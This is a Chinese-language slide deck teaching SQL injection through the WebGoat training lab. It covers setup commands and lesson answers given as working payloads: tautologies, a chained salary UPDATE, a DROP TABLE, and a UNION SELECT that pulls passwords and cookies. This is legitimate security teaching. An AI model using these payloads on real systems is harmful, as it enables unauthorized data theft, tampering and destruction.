增长黑客沙龙

程乙轩 黄玮

Web 安全之 SQL 注入

分享大纲

- CTF-Web 简介
- WebGoat 安装
- WebGoat - SQL Injection (intro)
- WebGoat - SQL Injection (advanced)

CTF-Web 常见知识点

- SQL 注入
- XSS 跨站脚本攻击
- 命令执行
- 文件包含
- CSRF 跨站请求伪造
- SSRF 服务器端请求伪造
- 文件上传
- 条件竞争
- XXE
- 越权
- ….

SQL 注入

SQL 关键点

- 1. 将用户输入在未经校验或校验不足的情况下，拼接形成 SQL 语句

- 2. 将拼接形成的 SQL 语句直接执行。

安装 WebGoat 靶场环境

安装 Docker 容器环境

```
        # 若没有docker环境，可使用以下命令在 kali 中安装 docker
        # 1. 添加 Docker 官方源
        echo "deb [arch=amd64 signed-by=/etc/apt/keyrings/docker.gpg]
https://download.docker.com/linux/debian bookworm stable" | \
          sudo tee /etc/apt/sources.list.d/docker.list

        # 2. 导入 gpg 密钥
        sudo mkdir -p /etc/apt/keyrings
        curl -fsSL https://download.docker.com/linux/debian/gpg |
          sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg

        # 3. 安装最新版本的 docker-ce
        sudo apt update
        sudo apt install -y docker-ce docker-ce-cli containerd.io

        # 4. 添加 Docker 服务开机自启动
        sudo systemctl enable docker --now

        # 5. 将自己添加到 docker 组以使用 docker 而不使用 sudo
        sudo usermod -aG docker $USER

        # 6. 重新登录或切换用户组：为了立即生效，可以执行以下命令：
        newgrp docker

        # 7. 重启 docker 服务
        sudo systemctl restart docker

        # 8. 验证 Docker 已经安装成功
        sudo docker run hello-world
```

安装 WebGoat

```
        # 若已有 docker 环境，则直接运行
        docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090
webgoat/webgoat
```

SQL Injection (intro)

SQL Injection (intro) - 2

- 使用 SQL 查询

```
SELECT department FROM employees WHERE auth_tan='LO9S2V';
```

SQL Injection (intro) - 3

- Data Manipulation Language (DML)数据操作语言

```
UPDATE employees SET department = 'Sales' WHERE
auth_tan='TA9LL1'
```

SQL Injection (intro) - 4

- Data Definition Language (DDL)数据定义语言

```
ALTER TABLE employees ADD phone varchar(20)
```

SQL Injection (intro) - 5

- Data Control Language (DCL) 数据控制语言

```
GRANT all ON grant_rights TO unauthorized_user
```

SQL Injection (intro) - 5

- Data Control Language (DCL) 数据控制语言

```
GRANT all ON grant_rights TO unauthorized_user
```

SQL Injection (intro) - 6

动手查看SQL拼接效果!

SQL Injection (intro) - 7

SQL 注入成功后你可以做什么?

SQL Injection (intro) - 8

SQL 注入的严重性受哪些因素限制?

SQL Injection (intro) - 9

字符串型 SQL 注入

```
        -- 1.
        SELECT * FROM user_data WHERE first_name = 'John' and
last_name = '' or '1' = '1'

        -- 2.
        SELECT * FROM user_data WHERE first_name = 'John' and
last_name = 'Smith' or '1' = '1'
```

SQL Injection (intro) - 10

数字型 SQL 注入

```
        SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or
1=1
```

动手实践 SQL Injection (intro) - 11-13！！

SQL Injection (intro) - 11

使用字符串 SQL 注入损害机密性

```
        3SL99A' or 1=1 --
```

SQL Injection (intro) - 12

通过查询链接损害完整性

```
        3SL99A' or 1=1; UPDATE employees SET SALARY = '99999999' WHERE
auth_tan='3SL99A'--
```

SQL Injection (intro) - 13

影响可用性

```
or '; drop table access_log --
```

SQL Injection (advanced) - 2

一些 SQL 特殊字符

```
/* */          are inline comments
-- , #          are line comments
Example: SELECT * FROM users WHERE name = 'admin' -- AND pass
= 'pass'
```

```
;        allows query chaining
Example: SELECT * FROM users; DROP TABLE users;
```

```
',+,||          allows string concatenation
Char()          strings without quotes

Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1
```

特殊的SQL语句

- Union
  - 联合运算符用于组合两个或多个 SELECT 语句的结果。
  - 注意:
    - 每个语句中选择的列数必须相同。
    - 第一个 SELECT 语句中第一列的数据类型必须与第二个（第三个、第四个...） SQL 语句的第一列的数据类型匹配 SELECT 语句。
    - 第一个 SELECT 语句中第二列的数据类型必须与第二个（第三个、第四个...） SQL 语句的第二列的数据类型匹配 SELECT 语句。
    - ....

```
SELECT first_name FROM user_system_data UNION SELECT
login_count FROM user_data;
```

- Join
  - Join 运算符用于基于相关列合并两个或多个表中的行

```
        SELECT * FROM user_data INNER JOIN user_data_tan ON
user_data.userid=user_data_tan.userid;
```

不同类型的 Join

```
        SELECT Orders.OrderID, Customers.CustomerName,
Orders.OrderDate
        FROM Orders
        INNER JOIN Customers
        ON Orders.CustomerID=Customers.CustomerID;
```

```
        SELECT Orders.OrderID, Customers.CustomerName,
Orders.OrderDate
        FROM Orders
        LEFT JOIN Customers
        ON Orders.CustomerID=Customers.CustomerID;
```

SQL Injection (advanced) - 3

动手实践!

```
        Dave' UNION SELECT userid, user_name, password, cookie, null,
null, null FROM user_system_data; --
```

SQL Injection (advanced) - 4

Blind SQL injection SQL盲注

SQL Injection (advanced) - 4

动手实践 SQL 盲注！！

- 编写脚本
- 使用 sqlmap

参考链接

- SQL Injection (intro) SQL注入（简介）

- SQL Injection Advanced (5)
- SQL Injection (advanced)